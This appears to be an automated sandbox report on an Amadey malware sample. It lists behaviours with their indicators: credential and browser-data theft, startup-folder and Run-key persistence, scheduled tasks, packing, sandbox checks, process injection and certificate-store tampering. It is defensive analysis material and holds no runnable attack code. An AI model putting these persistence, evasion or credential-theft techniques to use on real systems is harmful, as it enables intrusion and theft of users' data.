amadey | e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	JLjvpleHnRAagxt2dCDXJCSf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	nhdues.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	iSDrSrJAqe3J4quO0kd3nlQX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	Install.exe

Drops startup file 12 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ra0i8R1SJbosIbxpdIcwtBGN.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\45THdfkfvV4eaaKQesqE0wSC.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zz3pwAU8ibnHuihQghGfmlew.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AoFGt9RwTSJnLOB8UxFw5PK9.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZrqOQvEmf2vMeqFXFW1WbqL7.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cdm6W2Ffwl7QCmneGMqn7r0U.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yFnW1qb92m9fAPeEoSofz22C.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XO6JhNj6CpHMZbWktNzSqEAq.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zmOhkt86Nf5fCZGGN7WOGYLD.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HFzeWjiG3DkvyfTowTUOJIhX.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X2JISxwJ2Gs19txkr45MCgvo.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\arqiYWc1dDWqDKha9caHQWFO.bat	InstallUtil.exe

Executes dropped EXE 23 IoCs

pid	Process
1352	8au7TfbOVHq7gqgRjN48Yzio.exe
1232	VnavRGDXas19emobg3r3GDd9.exe
2056	xLvZt7L1yd1qOqcvCJnF6A2d.exe
5024	AHObJSJY3d6LuDUlK83S3fUm.exe
1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe
1704	JLjvpleHnRAagxt2dCDXJCSf.exe
4344	HModc7c5VOThmRdOgeHZMPsl.exe
4412	8yenbQ2aNvJss1Rn94KsWMwL.exe
3004	0p3ju47wi6RE7737zlmG8OKB.exe
4480	V1JHvmUoo8DRxaXlAkzK2W8g.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
3192	V1JHvmUoo8DRxaXlAkzK2W8g.exe
4664	nhdues.exe
4876	kBk9kmz6UfTZJlIGCCniCxC0.exe
544	V1JHvmUoo8DRxaXlAkzK2W8g.exe
3876	Install.exe
2132	V1JHvmUoo8DRxaXlAkzK2W8g.exe
1496	xLvZt7L1yd1qOqcvCJnF6A2d.exe
4960	Install.exe
5116	1untilmathematicsproie1.exe
1984	1untilmathematicspro.exe
5172	untilmathematics.exe
5744	updater.exe

Loads dropped DLL 7 IoCs

pid	Process
1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe
4480	V1JHvmUoo8DRxaXlAkzK2W8g.exe
3192	V1JHvmUoo8DRxaXlAkzK2W8g.exe
544	V1JHvmUoo8DRxaXlAkzK2W8g.exe
2132	V1JHvmUoo8DRxaXlAkzK2W8g.exe
1232	VnavRGDXas19emobg3r3GDd9.exe
1232	VnavRGDXas19emobg3r3GDd9.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00060000000230c7-55.dat	upx
behavioral2/memory/1476-107-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/files/0x00060000000230c7-102.dat	upx
behavioral2/files/0x00060000000230c7-138.dat	upx
behavioral2/memory/4480-143-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/files/0x00060000000230c7-152.dat	upx
behavioral2/files/0x00060000000230e5-164.dat	upx
behavioral2/files/0x00060000000230c7-194.dat	upx
behavioral2/memory/544-197-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/files/0x00060000000230c7-215.dat	upx
behavioral2/memory/1476-189-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/memory/3192-186-0x0000000000B60000-0x00000000010AD000-memory.dmp	upx
behavioral2/memory/3192-171-0x0000000000B60000-0x00000000010AD000-memory.dmp	upx
behavioral2/memory/5024-226-0x0000000002830000-0x0000000002C31000-memory.dmp	upx
behavioral2/memory/2132-227-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/memory/544-303-0x00000000007C0000-0x0000000000D0D000-memory.dmp	upx
behavioral2/memory/4412-508-0x00000000029B0000-0x0000000002DB2000-memory.dmp	upx

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x00060000000230d7-131.dat	vmprotect
behavioral2/files/0x00060000000230d7-141.dat	vmprotect
behavioral2/files/0x00060000000230d7-140.dat	vmprotect
behavioral2/memory/5092-156-0x00007FF70E9C0000-0x00007FF70F088000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	1untilmathematicspro.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8au7TfbOVHq7gqgRjN48Yzio.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	1untilmathematicsproie1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	V1JHvmUoo8DRxaXlAkzK2W8g.exe
File opened (read-only)	\??\F:	V1JHvmUoo8DRxaXlAkzK2W8g.exe
File opened (read-only)	\??\D:	V1JHvmUoo8DRxaXlAkzK2W8g.exe
File opened (read-only)	\??\F:	V1JHvmUoo8DRxaXlAkzK2W8g.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	api.myip.com
55	ipinfo.io
56	ipinfo.io
53	api.myip.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	iSDrSrJAqe3J4quO0kd3nlQX.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\GroupPolicy	iSDrSrJAqe3J4quO0kd3nlQX.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	iSDrSrJAqe3J4quO0kd3nlQX.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	iSDrSrJAqe3J4quO0kd3nlQX.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4132 set thread context of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 2056 set thread context of 1496	2056	xLvZt7L1yd1qOqcvCJnF6A2d.exe	109

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	0p3ju47wi6RE7737zlmG8OKB.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5524	sc.exe
5752	sc.exe
5884	sc.exe
5948	sc.exe
5496	sc.exe
3484	sc.exe
5268	sc.exe
5928	sc.exe
3860	sc.exe
5668	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6140	1232	WerFault.exe	87

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	xLvZt7L1yd1qOqcvCJnF6A2d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	xLvZt7L1yd1qOqcvCJnF6A2d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	xLvZt7L1yd1qOqcvCJnF6A2d.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	VnavRGDXas19emobg3r3GDd9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	VnavRGDXas19emobg3r3GDd9.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4120	schtasks.exe
5448	schtasks.exe
3068	schtasks.exe
2148	schtasks.exe
4788	schtasks.exe
3528	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3588	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1574508946-349927670-1185736483-1000\{9BC2CF91-24C2-4007-8D17-0406299A7AE2}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Moniker = "cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	V1JHvmUoo8DRxaXlAkzK2W8g.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	V1JHvmUoo8DRxaXlAkzK2W8g.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	V1JHvmUoo8DRxaXlAkzK2W8g.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e